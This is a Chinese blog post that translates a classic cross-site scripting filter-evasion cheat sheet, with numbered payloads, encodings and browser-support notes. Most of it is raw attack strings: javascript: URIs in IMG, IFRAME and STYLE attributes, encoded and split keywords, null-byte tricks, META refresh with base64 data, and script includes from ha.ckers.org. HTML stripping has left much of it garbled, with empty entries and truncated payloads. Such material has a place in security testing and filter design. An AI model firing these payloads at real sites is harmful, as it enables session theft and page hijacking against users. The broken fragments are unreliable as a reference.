java 过滤scrpict标签,XSS之规避过滤小记

本文详细介绍了多种检测和利用XSS(跨站脚本)漏洞的方法,包括利用废弃的PLAINTEXT标签、有限字符注入、变形的XSS利用、IMG标签中的JavaScript执行、ASCII和UTF-8编码绕过过滤、JavaScript关键字拆分等。同时列举了不同浏览器的支持情况,展示了XSS攻击的各种复杂性和多样性。

1,快速检查一个人页面是否有XSS,可以利用容易被轻视的""

标签:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>

原文:

if you're in a rush and need to quickly check a page, often

times injecting the depreciated

"" tag will be enough to

check to see if something is vulnerable to XSS by messing up the

output appreciably:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>

问题:这段话说利用PLAINTEXT标签,这个标签是显示HTML源码,如何结合以上那些语句来检测XSS。望看到,了解的人留言指导,或EMAIL:stevealeen@sina.com

2,如果可改变的输入只有很少字符,那可以利用这条语句:

'';!--"=&{()}

注入之后,查看HTML源码,查找

<XSS  来判断是否可利用

3,没有任何变形,也很容易被发现的XSS利用:

浏览器 support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

4,把XSS写入IMG标签中:

SRC="javascript:alert('XSS');">

但IE7并不支持,支持浏览器:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] (红色不支持)

或没有分号和引号:

SRC=javascript:alert('XSS')>

区分大小写:

SRC=JaVaScRiPt:alert('XSS')>

HTML转议:

SRC=javascript:alert("XSS")>

5,利用重音符,有时有代码中既需要单引号也需要双引号,可以用重音符:

%60javascript:alert(%22RSnake

'XSS'")`>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] (红色不支持)

6,畸形的IMG标签:

""">">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

7,不使用任何引号--利用fromCharCode方法

SRC=javascript:alert(String.fromCharCode(88,83,83))>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

不使用任何引号--利用UTF-8编码:

SRC=javascript:alert('XSS')>

利用长UTF-8编码:

SRC=javascript:alert('XSS')>

利用16进制编码:

SRC=javascript:alert('XSS')>

即使=~ s/.*\(\d+);.*/$1/; 被过滤了……

8,拆分关键词:

SRC="jav ascript:alert('XSS');">

利用TAB键:

SRC="jav ascript:alert('XSS');">

利用换行键(Only 09 (horizontal tab), 10 (newline) and 13 (carriage

return)):

SRC="jav ascript:alert('XSS');">

嵌入特殊字符:

SRC="jav ascript:alert('XSS');">

换行:

SRC

=

"

j

a

v

a

s

c

r

i

p

t

:

a

l

e

r

t

(

'

X

S

S

'

)

"

>

利用空字符躲过过滤:

perl -e 'print "

SRC=java\0script:alert("XSS")>";' >

out

perl -e 'print

"alert("XSS")";'

> out

如果在javascript关键字中无法插入空符,可以利用ACSIC 1-32

p><p>

9:

onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

10:在标签和参数间加/

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

11://号引发错误

<

12:Firefox and Netscape 8.1 in the Gecko rendering engine mode

可以不需要">"

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

12:特殊利用:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

13,IE机制不会像firfox一样,在源码解析时添加内容,但它依然可以IMG标签里放javascript执行命令,

它的优势在于,不用添加反尖括号>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

14

<

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

15:不需要单引号和双引号

alert(a.source)

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

16,当输入被作为参数写入HTML时,服务端会把参数过滤……如:

a="$ENV{QUERY_STRING}";

可以通过转码:

a="\";alert('XSS');//";

";alert('XSS');//

17,利用Title标签:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG:

SRC="javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

BODY:

优势,不用写javascript/Script...:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

18:OTHER:

HTML+TIME updates:

1. FSCommand() (attacker can use this when

executed from within an embedded Flash object)

IMG

Dynsrc:

DYNSRC="javascript:alert('XSS')">

LOWSRC="javascript:alert('XSS')">

SRC="javascript:alert('XSS');">

&

JavaScript includes (works in Netscape 4.x):

SIZE="&{alert('XSS')}">

LAYER (also only works in

Netscape 4.x)

STYLE

sheet:

HREF="javascript:alert('XSS'

19:

可以把去掉,如果后面直接跟HTML语句

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

20:本地htc文件

htc文件须要同一台服务器上

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

url("javascript:alert('XSS')");}

  • XSS

VBscript in an

image:

SRC='vbscript:msgbox("XSS")'>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

US-ASCII encoding

:这是所八位表示的ASCII,用七位来表示,这样的话,可以绕过很多的过滤,但不足的是,必须服务器支持,或客户端手设,已经TOMCAT/Apache支持这种码:

¼script¾alert(¢XSS¢)¼/script¾

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

META -FRESH 在刷新时不发送refer值,所以可以用来利用

CONTENT="0;url=javascript:alert('XSS');">

META using

data 同样不用javascript/Script关键词:

CONTENT="0;url=;javascript:;;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

如果应用过滤检查是否http://开头

Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

利用IFRAME:

SRC="javascript:alert('XSS');">

FRAME (frames have the

same sorts of XSS problems as iframes):

SRC="javascript:alert('XSS');">

BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

TD标签:

BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

DIV background-image:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE="background-image:。0075。0072。006C。0028'。006a。0061。0076。0061。0073。0063。0072。0069。0070。0074。003a。0061。006c。0065。0072。0074。0028.1027。0058.1053。0053。0027。0029'。0029">Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

利用非法字符 1-32,

34, 39, 160, 8192-8.13, 12288, 65279

Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

DIV标签中在冒号和表达式间用换行来躲过过滤

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYPLE利用不完整javascript:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE="xss:expression_r(alert('XSS'))">

利用注释:

STYLE="xss:expression_r(alert('XSS'))">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

STYLE="xss:expression_r(alert('XSS'))">

exppression(alert("XSS"))'>

STYLE tag using

background-image:

CLASS=XSS>

Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

利用注释:

BASE标签:

HREF="javascript:alert('XSS');//">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

ACTIONSCRIPT XSS:

a="get";

b="URL("";

c="javascript:";

d="alert('XSS');")";

eval_r(a+b+c+d);

implementation="http://ha.ckers.org/xss.htc">

XSS

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

ID=I>

SRC="javas]]>]]>

DATASRC=#I DATAFLD=C

DATAFORMATAS=HTML>

ID="xss"><IMG

SRC="javascript:alert('XSS')">

DATAFORMATAS="HTML">

ns="urn:schemas-microsoft-com:time">

implementation="#default#time2">

to="XSS<SCRIPT

DEFER>alert("XSS")</SCRIPT>">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

如果过滤.js:

PHP:

echo('

echo('IPT>alert("XSS")');

?>

修改利用COOKIE:

Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

允许"

但不允许"

regex filter

"/

Another XSS to evade the same filter,

"/

filter,

"/

"/

using grave accents (again, doesn't work in Firefox):

PT

SRC="http://ha.ckers.org/xss.js">

DWORD:

HEX:

Octal

Mixed

XSS

Protocol resolution bypass

HREF="//www.google.com/">XSS

多一个.

javascript link

HREF="javascript:document.location='http://www.google.com/'">XSS

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值